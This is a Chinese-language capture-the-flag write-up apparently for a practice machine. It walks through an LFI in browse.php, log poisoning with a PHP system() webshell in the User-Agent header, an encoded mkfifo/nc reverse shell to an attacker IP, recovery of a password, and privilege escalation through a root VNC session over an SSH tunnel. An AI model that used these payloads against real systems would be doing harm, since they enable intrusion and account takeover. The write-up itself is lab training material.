信息收集
IP Address | Opening Ports |
---|---|
10.10.10.84 | TCP:22,80 |
$ nmap -p- 10.10.10.84 --min-rate 1000 -sC -sV
bash
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
LFI & 日志投毒
http://10.10.10.84/browse.php?file=/etc/passwd
php
GET / HTTP/1.1
Host: 10.10.10.84
User-Agent: <?php system($_GET['cmd']); phpinfo(); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
http://10.10.10.84/browse.php?1=ls%20-la&file=/var/log/httpd-access.log
$ curl 'http://10.10.10.84/browse.php?1=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.16.24%2010032%20%3E%2Ftmp%2Ff&file=/var/log/httpd-access.log'
$ cat pwdbackup.txt
$ data=$(cat data); for i in $(seq 1 13); do data=$(echo $data | tr -d ' ' | base64 -d); done; echo $data
Charix!2#4%6&8(0
$ su charix
$ ssh charix@10.10.10.84
User.txt
eaacdfb2d141b72a589233063604209c
权限提升
$ scp charix@10.10.10.84:/home/charix/secret.zip .
解压密码:Charix!2#4%6&8(0
$ file secret
VNC
% netstat -an -p tcp
5901是VNC端口,用于远程桌面访问。
% ps -auwwx | grep vnc
并且以ROOT权限运行
Xvnc :1:
这是 TightVNC 的 X 服务器进程。Xvnc 是一个 X 服务器,它允许在远程设备上运行图形界面。:1
指定了显示编号1。
-desktop X:
设置虚拟桌面的名称为 X。
-httpd /usr/local/share/tightvnc/classes:
指定 TightVNC 的 HTTP 服务器的目录,用于提供 VNC Java 客户端。
-auth /root/.Xauthority:
指定用于 X 服务器认证的授权文件路径。在这里是 /root/.Xauthority
。
-geometry 1280x800:
指定虚拟桌面的分辨率为 1280x800。
-depth 24:
指定颜色深度为 24 位。
-rfbwait 120000:
设置在开始连接前等待客户端响应的时间为 120000 毫秒(即 120 秒)。
-rfbauth /root/.vnc/passwd:
指定用于 VNC 连接的认证文件,即 /root/.vnc/passwd
,这个文件包含了 VNC 的密码。
-rfbport 5901:
指定 VNC 服务器使用的端口号为 5901。VNC 默认使用 5900 端口,:1
表示加1,故使用 5901 端口。
-localhost:
限制 VNC 服务器只能接受来自本地的连接。这意味着只能从本地系统连接到这个 VNC 实例。
-nolisten tcp :1:
禁止 X 服务器监听 TCP 连接。这增加了安全性,因为不会接受来自远程设备的 TCP 连接。
$ ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84
$ vncviewer 127.0.0.1:5901 -passwd secret
Root.txt
716d04b188419cf2bb99d891272361f5